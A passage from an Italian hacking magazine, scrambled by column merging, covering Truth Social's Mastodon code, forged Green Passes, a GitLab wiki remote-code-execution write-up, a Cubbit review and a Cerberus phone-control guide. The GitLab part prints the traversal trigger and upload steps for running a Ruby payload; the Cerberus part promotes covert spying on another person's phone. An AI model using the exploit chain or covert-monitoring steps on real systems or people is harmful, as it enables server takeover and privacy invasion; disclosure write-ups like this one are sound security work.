l’ex Presidente degli Stati Uniti
Donald Trump ha pensato bene di
investire qualche milione di dollari
nella creazione di un proprio social.
Peccato che i suoi sviluppatori si
siano basati sul codice Open Source
di Mastodon senza rispettare il suo
regolamento e anzi dichiarandone
il possesso. A questo punto da
Mastodon è giustamente arrivata
un’ingiunzione che intimava a Trump
di rimettere tutto a posto se non
voleva ricevere una denuncia per
furto. A distanza di qualche
giorno, sulla homepage del
nuovo social Truth è così
Ancora in versione beta, il nuovo
apparso un disclaimer che
social network di Trump utilizza
glorifica l’Open Source “a
prescindere dalle opinioni il codice di Mastodon, ennesima
politiche delle persone” e dimostrazione di come un
che rimanda direttamente ambiente veramente libero
al sito di Mastodon. sia aperto proprio a chiunque.

17 
 HACKTUALITÀ

COVID-19,
L ’ I N I Z I O D I U N
CA M B I A M E N T O ?
Green Pass falsificati
ma apparentemente
validi… cosa è
successo?

sono inserite nel documento

(possono essere viste come
parte integrante del CSR
del certificato), il quale
successivamente è creato

D
mediante una chiave privata,
urante il corso del o semplicemente al ristorante, ovvero la firma del Pass: questa
periodo recente, non stupisce che qualcuno è composta da una parte
la pandemia da sia andato alla ricerca di un pubblica per chi legge il QR code
COVID-19 ha creato un “metodo alternativo” per e da una parte privata utilizzata
mondo diverso: da quel marzo ottenerlo, secondo il sempre per la generazione di questa
2020 il panorama planetario verde assioma: se un qualcosa chiave da inserire nei QR code.
è cambiato, nei comportamenti è creato tramite una procedura VerificaC19 è il tool fornito dal
umani e nei modi di fare, quasi informatica, questo può Governo italiano per la verifica
irriconoscibilmente per come essere hackerato. delle certificazioni e altro non
eravamo abituati, con è che un’applicazione per tablet
distanziamenti, vaccini voluti e COM’È FATTO? e smartphone che, utilizzando
non, tamponi e un lasciapassare Il Green Pass è un documento la fotocamera del dispositivo,
che non ti aspetti, il Green Pass. e come tale può essere visto legge il QR code mostrato da un
Ha la forma di un QR code, anche in contesto informatico: utente e ne verifica l’integrità e
lo si riceve dopo la vaccinazione si tratta di un certificato a chiave la correttezza. Instaurando una
o in seguito a un tampone asimmetrica, un QR code connessione sicura con i server
con risultato negativo. Visto contenente un insieme centrali del Ministero della
che questo lasciapassare serve di informazioni personali Salute, il messaggio è cifrato
per andare a lavoro e sensibili. Queste informazioni tramite la chiave pubblica
contenuta nella firma
del certificato e il server
Secondo alcuni esperti di sicurezza, successivamente decodifica
il dato ricevuto con la rispettiva
è probabile un legame tra i disordini in parte privata, verificando così se
piazza e la creazione di Green Pass falsi il documento è valido o meno.

 18

DUE PARERI SULL’ACCADUTO
Non sono mancate ovviamente le spiegazioni
degli esperti di cybersecurity, sia per fare
chiarezza che per rendere un po’ più semplice
la presa visione di quanto accaduto anche per un
pubblico non tecnico. Giampaolo Dedola,
senior security researcher presso Kaspersky,
ha espresso le considerazioni sottostanti:
«Ulteriori analisi di due campioni di QR code
hanno dimostrato come le chiavi utilizzate per
firmare i certificati siano legate a organizzazioni
con sede in Francia e Polonia. Inoltre, nel
momento in cui vengono sottoposti alle verifiche
sulle app ufficiali, i codici vengono classificati
come validi. Questo è preoccupante in quanto
può rendere impossibile distinguere tra i Green
Pass legittimi e quelli generati attraverso le
chiavi rubate. Questo caso pone l’attenzione su
quanto sia critica l’infrastruttura utilizzata
per generare i certificati di vaccinazione».
GREEN PASS
Invece Ranieri Razzante, uno tra i più importan-
ti esperti mondiali di cybersecurity e cyberterro-
rismo, si è espresso come segue ad Adnkronos
su quanto accaduto: «Credo che la causa di
questo attacco sia la guerra al Green Pass in
tutta Europa. Parliamo dunque di una matrice
politico-eversiva che inquadra questo attacco in
un disegno più vasto di contrasto ideologico alle
misure contro il Covid-19». Il professore
conclude dicendo: «Si sta sviluppando una rete
di hacker mondiale che vende le sue prestazioni.
Il pericolo è che si stia creando un mercato
sempre più in espansione. Noi dobbiamo correre
per formare nuovi esperti che possano prevenire
questi episodi. Un attacco alla sanità in larga
scala come il furto di codici per falsificare il
certificato verde ci ricorda quanto serva, a livello
internazionale, il coordinamento delle forze
di polizia e di intelligence».

FAKE SU TELEGRAM portato a compimento in modo con la conseguente invalidazione

Da tempo il popolare software positivo. Scoperto e analizzato dei Green Pass emessi tramite
di Instant Messaging russo quanto accaduto, le chiavi esse (sia illeciti che soprattutto
Telegram è utilizzato per la private compromesse sono leciti, perché le chiavi sono
vendita di certificazioni false state revocate e rigenerate, appunto le stesse).
(ovviamente questo costituisce
reato), le quali però non
riuscivano all’inizio a passare NON È UNO SCHERZO!
il controllo delle app di verifica. Alla notizia dell’esistenza
del Green Pass valido di Hitler
A seguito di un attacco
abbiamo sorriso, ma la
informatico, però, sono state questione ha rivelato una
rubate alcune chiavi private grave falla nel sistema.
utilizzate per generare copie di
Green Pass europei: in questo
modo i certificati creati con
queste dagli attaccanti risultano
validi perché le chiavi private
sono esattamente quelle
utilizzate dagli enti attaccati.
Non si sa se per provocazione
o per effettivo utilizzo, su
Telegram e sul Dark Web sono
stati pubblicati due certificati,
validi, intestati ad Adolf Hitler,
segno evidente di un attacco
 HACKTUALITÀ

Access o ( q u a s i )
libe r o a G i t L a b
co nc or re nt e O pe n S ource di GitHub
Il famoso
vu ln er ab ili tà ch e pe rmette agli utenti
GLOSSARIO ha una
DI BASE nt ic at i di ac ce de re a repository che non
au te dere
dovrebbero poter ve

B
GITHUB
Servizio di hosting uona parte dello sviluppo cosa semplicissima. Per questo motivo
del codice sorgente di software Open Source esistono delle alternative che
di numerosi oggigiorno avviene su permettono di farlo, così chiunque
programmi. Consente GitHub. Questo servizio è può avere un server tutto suo. E lo
a più programmatori,
molto apprezzato anche dalle aziende, strumento più gettonato è sicuramente
magari sparsi per il
mondo, di collaborare soprattutto ora che è stato tolto il limite GitLab (https://about.gitlab.com).
e mettere le mani al numero di utenti che possono
sullo stesso codice, contribuire a un repository privato. PERCHÉ PROPRIO GITLAB
modificandolo Ciò permette alle aziende di usarlo GitLab offre un ambiente completo,
e commentandolo. come piattaforma per sviluppare in realtà decisamente più completo
i propri software, senza però doverli e personalizzabile di quello proposto
MARKDOWN
È un linguaggio di rendere pubblici. Per chi vuole la da GitHub. Tra le altre cose, inoltre,
markup (marcatura) massima riservatezza e tutela dei dati, GitLab integra anche una wiki
con una sintassi però, la soluzione consiste nell’ospitare per la documentazione (cosa molto
del testo semplice, un proprio server Git, in modo da importante, come leggerete a breve).
progettata in modo tenere tutto “in casa”, e al massimo Come per tutti i software, man mano
che possa essere
concedere pubblicamente l’accesso che cresce la complessità di un
convertita in HTML
e in molti altri formati solo ad alcuni repository, magari a dei progetto aumenta anche la probabilità
usando un tool clienti selezionati. Il problema è che che nelle pieghe delle funzionalità si
omonimo. installare un server Git dotato di una annidi una vulnerabilità. Questo è, del
comoda interfaccia Web non è una resto, il motivo per cui ne stiamo

 20

parlando: è stata recentemente
scoperta una vulnerabilità nelle
ultime versioni di GitLab che
consente l’esecuzione di codice su
un server remoto.
UNA WIKI TROPPO BELLA
Come accennavamo, GitLab offre,
tra le altre componenti, una wiki.
Essa può essere formattata usando
diversi standard, in particolare
utilizzando la classica markup di
GitHub (che poi è un markdown
con alcune caratteristiche in più).
GitLab è scritto con il framework
Open Source RubyOnRails
(https://rubyonrails.org), e per fare
il parsing della markup in stile
GitHub utilizza la gemma github-
markup. Questa, a sua volta,
utilizza la gemma kramdown per il
rendering del markdown, e Rouge
per evidenziare il codice.
Naturalmente, Rouge accetta
alcuni argomenti, per esempio:
{::options auto_ids=”false”
footnote_nr=”5” syntax_
highlighter_opts=”{line_
numbers: true\}” /}
L’argomento syntax_highlighter_
VULNERABILITÀ
L ISTATO#1
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] ||
opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang ||
opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag
== “plaintext” && !opts[:guess_lang])
opts[:css_class] ||= ‘highlight’ # For backward
compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
def self.formatter_class(opts = {})
puts “formatter”
puts opts[:formatter]
case formatter = opts[:formatter]
when Class
Formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter)
else
# Available in Rouge 2.0 or later
::Rouge::Formatters::HTMLLegacy
end
rescue NameError
# Fallback to Rouge 1.
::Rouge::Formatters::HTML
End
La wiki
di GitLab.
21 
 HACKTUALITÀ
Ricordiamo che attaccare server
{::options auto_ids=”false”
altrui è un reato, per cui facciamo footnote_nr=”5” syntax_
esperimenti solo sulle macchine highlighter=”rouge” syntax_
che abbiamo tirato su noi highlighter_opts=”{formatter: CSV,
line_numbers: true\}” /}
opts è un dizionario, che tra le varie ~~ ruby
GLOSSARIO chiavi può contenere formatter. def what?
DI BASE Questo parametro dovrebbe contenere 42
una classe personalizzata per la end
GEMMA formattazione: passandola, Rouge ~~
È una libreria testata, utilizzerebbe il nostro codice per
versionata e
eseguire la formattazione invece della Questo utilizzerebbe la classe CSV,
sviluppata dall’ampia
community Open classe di default. Il codice che si occupa creando una funzione privata chiamata
Source di Rails. di processare questo formatter in format. Si può utilizzare una classe
Rouge è visibile nel [listato #1]. Come qualsiasi, quindi è possibile ricorrere a
DIRECTORY si può notare, quando viene chiamato Redis. La classe Redis ha la particolarità
TRAVERSAL
di accettare un driver (un file):
Attacco informatico
::Rouge::Formatters.const_
che consiste
nello sfruttare get(opts[:formatter]).new(opts) def _parse_driver(driver)
un’insufficiente driver = driver.to_s if
validazione di la variabile opts è controllabile driver.is_a?(Symbol)
sicurezza o una dall’utente tramite le opzioni che si if driver.kind_of?(String)
scarsa sanificazione
passano a kramdown. La variabile begin
dell’input dei nomi di
file forniti dall’utente, viene validata dall’espressione require_relative
consentendo “connection/#{driver}”
l’inserimento /\A[[:upper:]][[:alnum:]_]*\z/ rescue LoadError,
di caratteri speciali NameError => e
che permettono ma non è una limitazione notevole: si begin
di navigare nel
può creare una qualsiasi classe senza require
filesystem del server
Web e raggiungerne namespace (non si può utilizzare ::). “connection/#{driver}”
anche la cartella Basta creare una classe con una rescue LoadError,
radice (root). funzione che non dia nessun errore, NameError => e
una cosa del genere: raise RuntimeError,

I maintainer di GitLab hanno risposto rapidamente e concordato la pubblicazione

dell’exploit con lo scopritore del bug.

 22

“Cannot load driver #{driver.
inspect}: #{e.message}”
end
end
driver = Connection.
const_get(driver.capitalize)
end
driver
end
Il require_relative non esegue
controlli sul percorso, quindi
è possibile un directory traversal:
un percorso del tipo
../../../../../../../../../../tmp/a.rb
verrebbe accettato.
UPLOAD E AVVIO
Mettendo insieme quello che
abbiamo visto, un utente malevolo
potrebbe caricare un file
dall’interfaccia di GitLab, per
esempio dalla wiki stessa. Il file
verrebbe inserito nel markdown:
[file.rb](/uploads/-/system/
user/1/1cd3e965551892a4c0c1a
f01ef2f2ad7/file.rb)
e il suo percorso completo sarebbe
/var/opt/gitlab/gitlab-rails/
uploads/-/system/
user/1/1cd3e965551892a4c0c1a
f01ef2f2ad7/file.rb
Il file caricato conterrebbe
il payload che l’attaccante vuole
eseguire sul server remoto: deve
L ISTATO#2
{::options syntax_highlighter=”rouge” syntax_highlighter_
opts=”{formatter: Redis, driver:
../../../../../../../../../../var/opt/gitlab/gitlab-rails/
uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/
payload.rb\}” /}
~~ ruby
def what?
42
end
~~
essere uno script Ruby valido, che
magari fa ottenere una remote
shell all’attaccante. Dopo avere
fatto l’upload del file, l’utente deve
solo modificare una pagina della
wiki inserendo il codice visibile in
[listato #2]. Questo innescherebbe
il caricamento in Ruby dello script
caricato dall’utente stesso, perché
Rouge cercherebbe di usarlo per
ottenere la formattazione HTML
della porzione di codice compresa
tra le tilde. Appena la pagina della
wiki viene visitata, il renderer viene
attivato, innescando lo script.
GitLab si lamenterebbe, nei log:
wrong constant name
../../../../../../../../../../
var/opt/gitlab/gitlab-rails/
uploads/-/system/user/1/
c4119c5b144037f708ead729
5cea4dd0/payload.rb
ma a quel punto il codice sarebbe
già stato eseguito.
VULNERABILITÀ
ENTITÀ DELLA
VULNERABILITÀ
A un primo sguardo si potrebbe
pensare che, se bisogna
comunque avere una forma di
autenticazione e i permessi di
scrittura sulla wiki per innescare il
bug, non sia una cosa così grave.
Ma c’è in realtà un problema di
fondo: per sua stessa natura, un
server GitLab ospita più repository
legati a più progetti, ed è condiviso
con più clienti e sviluppatori.
In teoria, nessuno dovrebbe poter
accedere ai repository che non gli
competono. Ma, con questo bug,
chi riesce a eseguire codice sul
server può leggere il contenuto
dei file presenti in ogni cartella,
incluse quindi anche le cartelle
dei progetti che non dovrebbe
vedere. Pensiamo proprio al caso
di una azienda che condivide
il codice con i propri clienti: un
cliente potrebbe accedere al
codice “segreto” degli altri clienti.

La soluzione
GitLab ha immediatamente riconosciuto il bug
come una vulnerabilità ad alto impatto e ha
rilasciato un bugfix nella versione 13.9.4. Chi
ha la versione 13.9.3 dovrà, quindi, assicurarsi di
applicare l’aggiornamento quanto prima possibile.
Le informazioni tecniche sulla vulnerabilità non
sono state pubblicate prima del fix, ma sono ormai
in circolazione da alcune settimane, quindi
è plausibile che qualcuno incominci a utilizzarle.
Anche nel caso in cui non si abbiano repository
privati sul proprio server GitLab, è opportuno
difendersi da questa vulnerabilità per evitare
che qualcuno prenda il controllo del server
e lo utilizzi per altri scopi malevoli.

23 
 SICUREZZA

OFFERTA
SPECIALE!
Inserisci
il
HACKER codice
JOURNA
in fase d L

i t
i

b
a c

b
q u

u
e avrai il is to

o n C
15% di s

C
su qualu c o nto
nque
Cubbit C
ell

il cloud c a m b i a !
P
Alla scoperta arliamoci chiaro: quando
usiamo un servizio
di un sistema di storage cloud i nostri
dati sono ospitati su
di storage sistemi altrui. È vero, gli spazi
cloud davvero cloud sono comodi perché
accessibili da ovunque e da
innovativo qualunque dispositivo, ma
nessuno ci assicura che qualche
ficcanaso non si diverta
a guardarne il contenuto o a
copiare i dati. Possiamo cifrarli,
ma poi condividerli con altre
persone diventa un problema.
Cubbit è una soluzione
rivoluzionaria: offre uno spazio
cloud crittografato, distribuito,
a prova di disastro e senza un
abbonamento da sottoscrivere
MI FACCIO UN NAS?
Cosa possiamo fare, allora?
Per esempio, acquistare un NAS
e renderlo accessibile anche da
fuori casa o fuori ufficio usando un
DNS dinamico. Oppure installare
NextCloud su una Raspberry Pi
a cui abbiamo collegato un hard
disk molto capiente. In entrambi
i casi questi dispositivi sono
soggetti a rotture hardware
e anche a furti, per esempio.
Farne un backup offsite non è una
cosa alla portata di tutti, spesso
neanche le aziende lo fanno.
Quindi i nostri dati sono destinati
a essere sempre in pericolo?
SOLUZIONE RIVOLUZIONARIA
Una startup italiana, Cubbit (www.
cubbit.io) ci offre una soluzione
alternativa. I suoi creatori hanno

 24
 CLOUD PRIVATO

UNA SCELTA ECOLOGICA

A parte la questione privacy dei nostri dati, un aspetto
che apprezziamo molto di Cubbit è il risparmio di CO₂
rispetto all’uso dei servizi cloud tradizionali. Tale
risparmio deriva da due fattori: l’assenza di data center,
che devono essere alimentati e raffreddati continuamen-
te, con un consumo energetico molto superiore a quello
necessario per tenere accese in casa o in ufficio le
Cubbit Cell. Bisogna poi considerare il fatto che non
dobbiamo trasferire i file dal nostro disco a un data
center. Ci sono degli studi che affermano, a livello
globale, che la distanza media tra due celle Cubbit
è inferiore alla distanza media da un data center. Per
saperne di più sull’argomento, leggete il documento
all’URL tinyurl.com/2p99kxrv. Come fate a sapere
quanta CO₂ risparmiate? Semplice, lo scoprite
guardando l’interfaccia Web o il client desktop.

una, però, non vuol dire che lo

sviluppato un nuovo modo
di concepire uno spazio di storage
sul cloud per uso personale
o aziendale, che si distingue dalle
altre soluzioni perché protegge
in automatico la privacy dei dati
memorizzati senza che li si debba
cifrare noi stessi. Nel farlo, inoltre,
li rende anche a prova di disastro,
cioè ci consente di recuperarli con
un alto grado di probabilità se
dovesse succedere qualcosa alla
nostra Cubbit Cell, che tra poco
capiremo cos’è. Ci siamo avvicinati
a Cubbit per curiosità, attirati dalle
tecnologie adottate. Scoprite
con noi come funziona e quali
luci e ombre ha tale soluzione.
LO SCIAME DI CUBBIT
Cubbit, invece di appoggiarsi
a un classico sistema di data center
come fanno i vari Dropbox,
OneDrive e simili, sfrutta un
meccanismo peer to peer, lo stesso
usato per distribuire i file su eMule
o i torrent, per esempio. In pratica
ogni utente di Cubbit acquista una
Cubbit Cell che va a comporre
quello che viene definito “sciame”
(The Swarm). Questa cella non
è altro che un piccolo dispositivo
dotato di una porta Gigabit
Ethernet, una porta USB 3.0 e un
hard disk al suo interno. Esistono
celle Cubbit di diversi tagli: da 512
GB (al momento non disponibile),
1 TB, 4 TB o 8 TB. Acquistandone
spazio disco al suo interno sia a
nostra disposizione e che poi i dati
vengano replicati da qualche altra
parte (nel cloud) come succede con
gli altri servizi. La nostra cella
potrebbe perfino non contenere
per nulla i nostri dati, ma va ad
aumentare lo spazio complessivo a
disposizione di tutti gli utenti dello
sciame. Noi potremo memorizzare
al massimo il quantitativo di dati
che abbiamo acquistato (è
possibile espanderlo con un disco
USB), ma questi dati saranno sparsi
per il mondo pur essendo sempre
a nostra disposizione e sotto
il nostro controllo.
CIFRATI E SPARPAGLIATI
Ogni volta che carichiamo un file,
questo verrà cifrato in automatico
usando una chiave AES a 256 bit
(crittografia di livello militare) che

Un disco… a metà
Possiamo collegare
un disco USB alla porta
USB della cella, ma solo
la metà dello spazio
disponibile sul disco sarà
utilizzabile su Cubbit.

25 
 SICUREZZA

Senza abbonamento
I file memorizzati in
Cubbit sono accessibili
anche da smartphone
e il servizio si acquista
una volta sola per sempre

viene creata partendo da una
password che solo noi conosciamo
(Cubbit non ne viene in possesso)
e che decidiamo in fase di
installazione della cella. Il file
cifrato viene poi “spezzato” in 24
pezzetti (chunk) e poi trasformato
in 36 frammenti (shard) ridondanti
che vengono memorizzati nelle
oltre 4.500 celle Cubbit sparse
per il mondo secondo un algoritmo
chiamato Coordinator creato
da Cubbit e gestito in automatico.
Cosa vuol dire “ridondanti”? Che
sono sufficienti 24 di questi 36
frammenti per ricostruire il file.
In pratica un file non è interamente
in nessun posto nel mondo, ma
i suoi frammenti crittografati sono
sparpagliati in tante diverse Cubbit
Cell in giro per il globo. Se alcune
delle celle che contengono
un frammento del nostro file
vanno offline, i nostri dati sono
comunque salvi perché la
procedura di ripristino crea nuove
copie di quei frammenti partendo
da quelli rimasti. In questo modo il
file è al sicuro da sguardi indiscreti
perché cifrato e anche da eventuali
rotture della nostra cella Cubbit
o delle altre con un alto grado
di robustezza della rete.
Il Coordinator non sparge a caso
i frammenti, ma li divide in modo
da massimizzare la possibilità di
ricreare i file facendo in modo che
i frammenti siano salvati in diverse
zone geografiche e anche che
la rete complessiva sia il più veloce
possibile. Questo è uno degli
aspetti su cui sta lavorando Cubbit
per perfezionare il meccanismo.
IL SETUP
Dopo questa spiegazione
si potrebbe pensare che usare
Cubbit sia complicato, invece
è proprio il contrario. Collegato
il dispositivo alla rete locale e alla
corrente, si accende subito, non
c’è un interruttore per accenderlo

Non spegnete Cubbit! e spegnerlo. Dal computer

dobbiamo visitare l’URL web.

O ltre ai vantaggi, abbiamo scovato anche alcune ombre nel sistema

ingegnato da Cubbit. Per prima cosa, il costo dell’alimentazione della cella
è a carico nostro, con l’aggravante che se la terremo spenta per più di 30 giorni
cubbit.io/signup e seguire
la procedura di registrazione.
i nostri file verranno cancellati. Oltre al costo dell’energia elettrica, comunque Nulla di complesso: dobbiamo
non eccessivo – una Cubbit Cell ha un consumo stimato di 0,13 kWh al giorno – inserire nome, cognome, email
e che dovremmo sobbarcarci anche usando altri device, ci scoccia di più e scegliere una password.
il non essere liberi di spegnerla quando vogliamo, come facciamo di norma Scriviamo da qualche parte
con il nostro NAS. Un’altra ombra è che, come per gli altri cloud, dipendiamo
le parole per recuperarla
comunque da un fornitore esterno per la gestione dei frammenti: eventuali
problemi della startup o del suo Coordinator ci impedirebbero di usufruire mostrate a schermo:
dei nostri file, magari anche solo temporaneamente. se perdiamo queste e anche

 26

la password, nessuno potrà
più accedere ai nostri dati.
Dopodiché potremo scaricare
il programma client desktop
per Linux, Windows o macOS.
Questo client ci servirà per
caricare i file nel nostro spazio
cloud, per esempio, e in
generale per sincronizzarli
con una cartella del nostro
computer (come facciamo
con i client degli altri cloud).
Il caricamento può avvenire
anche via interfaccia Web, ma
i browser hanno un limite nella
dimensione dei file che sono
in grado di trasferire, limite di 2 GB
o meno a seconda del browser
usato. Il nostro spazio cloud,
quindi, è gestibile sia via browser
da qualunque PC/smartphone,
sia dal client desktop. Quando
carichiamo i file, ci vorrà un po’
di tempo affinché questi vengano
spezzati e sparpagliati, ma almeno
nel nostro caso l’attesa è stata
abbastanza breve, seppur
maggiore rispetto al tempo
di caricamento dei file sui cloud
classici. Lo stesso capita in
download, e questa è la prima
“pecca” di questo sistema.
Caricati alcuni file, possiamo
condividerli in chiaro con altre
CLOUD PRIVATO
Sicurezza e codice Reed-Solomon
L a sicurezza dei dati memorizzati nel sistema Cubbit si basa su un sistema detto
“a conoscenza zero” (http://pages.di.unipi.it/luccio/protocolli%20ZK.pdf).
Questo vuol dire che nessuno, a parte il proprietario, può accedere ai file,
neanche lo staff di Cubbit. Ciò si ottiene con un meccanismo di cifratura lato
client usando lo standard AES a 256 bit applicato prima che i frammenti dei file
vengano inviati in Rete. Parlando dei frammenti, il loro numero è stabilito
dal codice di correzione d’errore Reed-Solomon (https://it.wikipedia.org/wiki/
Codice_Reed-Solomon), usato anche per le comunicazioni nello spazio profondo.
Infine, Cubbit è compatibile con il GDPR e si può impostare l’autenticazione a due
fattori usando app come Authy, 1Password o LastPass Authenticator.
economica, non ne siamo
persone (è sufficiente comunicare convinti. Il nostro ragionamento
l’URL indicato dall’interfaccia) parte da un’ipotesi: se acquistiamo
o in modo cifrato (oltre all’indirizzo una cella da 1 TB, che costa 349
Web andrà comunicata anche euro, ed essa rimane accesa 24 ore
una password). Le possibilità di al giorno, 365 giorni all’anno,
condivisione, almeno per ora, sono è probabile che dopo qualche anno
un po’ limitate (per esempio non si qualcosa si rompa e dovremo
può definire una data di scadenza ricomprarla (entro i primi quattro
dei link) e questa è la seconda anni ci viene sostituita
carenza di Cubbit. Una nota: gratuitamente). E avremo anche
installando il client desktop, pagato la corrente elettrica per
inizialmente vedremo a nostra alimentarla. Se confrontiamo
disposizione solo 1 GB di spazio. questa spesa con quattro anni
Dovremo cliccare sul pulsante di abbonamento a OneDrive, per
Claim your cell o andare nelle esempio, che ci costano 276 euro
impostazioni e attivare la cella. (per 1 TB) e se non siamo fortunati,
cioè la cella si rompe dopo cinque
I COSTI anni, avremo speso la stessa cifra
Cubbit ci costa più o meno richiesta per cinque anni di
dell’acquisto di spazio di storage su OneDrive ma dovremo spendere
un altro servizio cloud? Nonostante altrettanto per quella nuova.
la startup dica di essere più In tutti i casi, però, il costo è solo
uno dei fattori da soppesare
e gli altri, soprattutto
la riservatezza, fanno pendere
il piatto della bilancia decisamente
a favore di Cubbit.
Interfaccia semplice
Sia l’interfaccia Web
sia il client desktop
sono semplici da usare
e piuttosto basilari.
Insomma, non ci perdiamo
tra mille opzioni.
27 
 SICUREZZA
L ’antifurto
per cellulare
Ecco come controllare completamente
da remoto tutte le funzioni più importanti
del tuo smartphone, scattare una foto
per smascherare un ladro o scoprire
dove si trova
G
li smartphone non sono
più dei semplici strumenti
per telefonare. Nel corso
degli anni abbiamo
imparato a utilizzarli come
strumento di lavoro, per leggere
la posta elettronica personale
o dell’ufficio, per controllare
i movimenti o il saldo della carta
di credito e del conto corrente,
per navigare sui siti preferiti
e per interagire con gli amici
tramite chat e social network.
Non dimentichiamoci, poi, che con
l’evoluzione delle loro fotocamere
integrate, spesso abbiamo
sostituito anche le fotocamere
compatte con lo smartphone, per
cui su di esso conserviamo foto e
video importanti e, magari, in alcuni
casi anche “imbarazzanti”.
E se un giorno dovessimo perdere
il nostro prezioso dispositivo? Se lo
smartphone, o il tablet, ci venisse
Spera nel bene, ma preparati al peggio.
Con questo proverbio in testa, abbiamo
creato questa guida a Cerberus
 28
La vers
gratuita d ione
permette
i Cerberu
s
d
completam i provare
funzioni d ente tutte le
per sette g ell’applicazione
iorn
del period i. Al termine
o
potrete ac di prova
q
versione c uistare la
om
prezzo ba pleta a un
se
all’anno p di 5 euro
er un
dispositiv solo
o.
rubato o lo dimenticassimo sul
sedile del taxi o del treno? Cosa
accadrebbe ai nostri dati e alla
nostra privacy? Nelle mani sbagliate
uno smartphone diventerebbe
uno straordinario strumento per
invadere non solo la nostra privacy,
ma anche per rubare denaro dal
nostro conto corrente o anche
peggio. Se non vogliamo correre
rischi è bene affidarsi ai saggi
consigli che si trovano in queste
pagine. In particolare vi faremo
vedere come installare e
configurare Cerberus, un antifurto
per Android che può diventare
anche un potente software
spia per controllare il telefonino
di qualcuno a sua insaputa.
 ANTIFURTO
L’app che spia!
Ecco come installare e configurare correttamente Cerberus sullo smartphone.

#1 #2

SCARICATE L’APP INSTALLATELA

Dallo smartphone E AVVIATELA
collegatevi al sito Tappate su Installa
https://bit.ly/ per proseguire con
sitocerberus e l’installazione. Al
selezionate Scarica; termine tappate su
al termine cliccate Apri per avviare
su Apri. Se appare Cerberus. Nella
il messaggio d’errore schermata iniziale
in figura tappate su tappate su Concedi
Impostazioni dello permessi per
smartphone, App autorizzare
e notifiche > l’applicazione a
Avanzate > utilizzare le risorse
App con accesso del sistema. Se
speciale > Installa appare il messaggio
app sconosciute, in figura, tappate su
quindi attivate Consenti l’accesso
Consenti da questa nelle impostazioni
fonte. e qui su Consenti
sempre.

#3 #4

DATE I PERMESSI AUTORIZZATE IL

NECESSARI CONTROLLO TOTALE
Al termine dovrete Accettate le
cliccare anche su condizioni di licenza
tutti gli altri pulsanti e confermate con un
della schermata per tap su Crea account.
concedere i relativi Scorrete le
permessi. Tutto schermate fino
ciò è propedeutico ad arrivare a quella
all’esecuzione principale; qui
completa e senza tappate su
limiti di Cerberus. Configurazione
Infine, dovrete principale per
registrarvi cliccando vedere le opzioni
su Crea un account di configurazione
Cerberus; dopo e attivare quelle
aver inserito desiderate, in
username, particolare attivate
password ed email System Framework
dovrete cliccare per avere il controllo
su Crea Account. totale del dispositivo.

29 
 SICUREZZA
Controllo remoto
Cerberus mette a disposizione dell’utente una pratica interfaccia Web dalla quale è possibile
controllare da remoto lo smartphone.
#1
CONTROLLO DAL WEB. Dal browser del PC visitate
https://bit.ly/sitocerberus, cliccate su Login e inserite
le credenziali usate sullo smartphone per accedere
all’interfaccia di controllo Web. Se volete sapere dove si
trova il device scegliete Inizia localizzazione dal menu
Comando a sinistra e poi cliccate su Invia Comando.
#3
SCATTA L’ANTIFURTO! E se qualcuno vi dovesse rubare
il dispositivo? Potreste far scattare un allarme con
tanto di messaggio associato. Per farlo scegliete Fai
partire un allarme con messaggio dal menu, scrivete
il messaggio e cliccate su Invia Comando. Sul device
partirà una sirena e verrà subito visualizzato il testo.
#5
ASCOLTATE IN SILENZIO. Se una foto non basta, potete
andare oltre. Dal menu di Cerberus scegliete Chiama
telefono: in Numero di telefono inserite il numero di
un vostro dispositivo e cliccate su Invia Comando. Verrà
effettuata una chiamata dal telefono “controllato”
al numero inserito senza che l’utente se ne accorga.
 30
#2
QUALCHE UTILE INFO. Se volete controllare l’operatore
o il numero di telefono usato, la rete alla quale il
dispositivo è connesso, i permessi di Cerberus, le
eventuali reti Wi-Fi nelle vicinanze e altre utili
informazioni, basta scegliere Ottieni Info Dispositivo
e poi inviare il comando con il pulsante Invia Comando.
#4
L’OCCHIO REMOTO. Può essere utile scattare qualche
foto senza che il ladro se ne renda conto, magari per
favorire la sua cattura. Se dal menu selezionate
Scatta foto e spuntate la casella Scatta foto
immediatamente potete catturare un’immagine
e inviarla alla casella di posta registrata su Cerberus.
#6
CANCELLATE TUTTO. Se i contenuti presenti sullo
smartphone dovessero essere importanti potete
anche decidere di cancellare la memoria. Per farlo
usate il comando Cancella la SD Card per formattare
completamente la scheda di memoria eliminando così
foto, video e documenti contenuti su di essa.

Uno smartphone a distanza
Avete dimenticato lo smartphone a casa? Nessun problema! Con un'altra applicazione chiamata
AirDroid potrete gestirlo anche da remoto.
#1
APPLICAZIONE
PRONTA ALL’USO
Dal Play Store di Google
cercate e installate
l’applicazione AirDroid.
Al primo avvio dovrete
configurare l’applicazione.
La prima cosa da fare, in ogni
caso, è creare un account.
Tappate dunque sul pulsante
Registrazione.
#3
SCEGLIETE COSA SI PUÒ FARE
Autorizzate l’accesso per
la gestione dei file tappando
su Continua e poi attivando
l’opzione proposta, quindi
tornate indietro fino alla
schermata di configurazione
delle funzioni remote e di
sicurezza. Scegliete le opzioni
che desiderate possano
essere accessibili da remoto
e proseguite.
#5
COLLEGATEVI DAL PC Possiamo passare ora al
computer. Avviate il browser e collegatevi sulla pagina
Web http://v2.airdroid.com, quindi cliccate su Get
Started e nella schermata successiva inserite email
e password utilizzate nella registrazione fatta sullo
smartphone (passi 2 e 3), infine cliccate su Accedi.
ANTIFURTO
#2
REGISTRAZIONE IN CORSO
Fornite un indirizzo email
valido (verrà utilizzato come
username), una password
che deve essere lunga almeno
8 caratteri e contenere una
combinazione di lettere
e numeri. Indicate anche un
nickname e terminate con
un tap su Register, poi inserite
il codice ricevuto per email
e confermate con Verifica
e registrati.
#4
CONTROLLO REMOTO
Tra le molte opzioni è possibile
abilitare il controllo remoto
dello smartphone utilizzando
quest’applicazione.
Normalmente per farlo
occorrerebbe avere un
dispositivo rootato. Con
AirDroid, invece, è possibile
scaricare un’estensione
che bypassa il problema
e semplifica la vita
ai meno smanettoni.
#6
